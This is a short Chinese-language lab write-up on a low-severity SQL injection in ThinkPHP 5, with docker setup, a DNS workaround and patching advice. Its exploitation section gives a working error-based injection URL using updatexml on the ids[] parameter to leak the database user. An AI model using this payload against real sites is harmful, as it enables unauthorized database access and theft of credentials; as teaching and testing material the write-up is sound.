# 5.24.1 SQL

## 漏洞名称

ThinkPHP5版本 SQL注入漏洞和敏感信息泄露漏洞

## 漏洞描述

ThinkPHP5版本存在一个鸡肋的SQL注入漏洞,可以获取到当前用户和密码以及数据库名等信息,详情参考:[\<https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html>](sql)

## 漏洞等级

低危

## 漏洞危害

获取到数据库配置信息(用户名,密码,数据库名,主机名)

## 漏洞检测方法

利用POC去试验是否存在该漏洞

## 漏洞利用方法

启动docker环境:

```
docker-compose up -d
```

如果出现以下错误:

```
ERROR: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
```

那么需要去修改`/etc/resolv.conf`修改为:

```
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 10.0.0.10
```

访问以下URL进入网站,出现用户名表示成功访问:

```
http://Your-Ip/index.php?ids[]=1&ids[]=2
```

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0zerz57y4j30i00fojro.jpg)

然后使用xpath报错的方法去构造POC,成功执行命令

请求的URL为:

[http://192.168.136.128/index.php?ids\[0,updatexml(0,concat(0xa,user()),0)\]=1](http://192.168.136.128/index.php?ids\[0,updatexml\(0,concat\(0xa,user\(\)\),0\)]=1)

```
http://your-ip:8080/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
```

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0zf2z9v1ej30og0kf3zk.jpg)

## 漏洞修复方案:

1,及时去thinkphp官网修补漏洞

2,更新到最新版
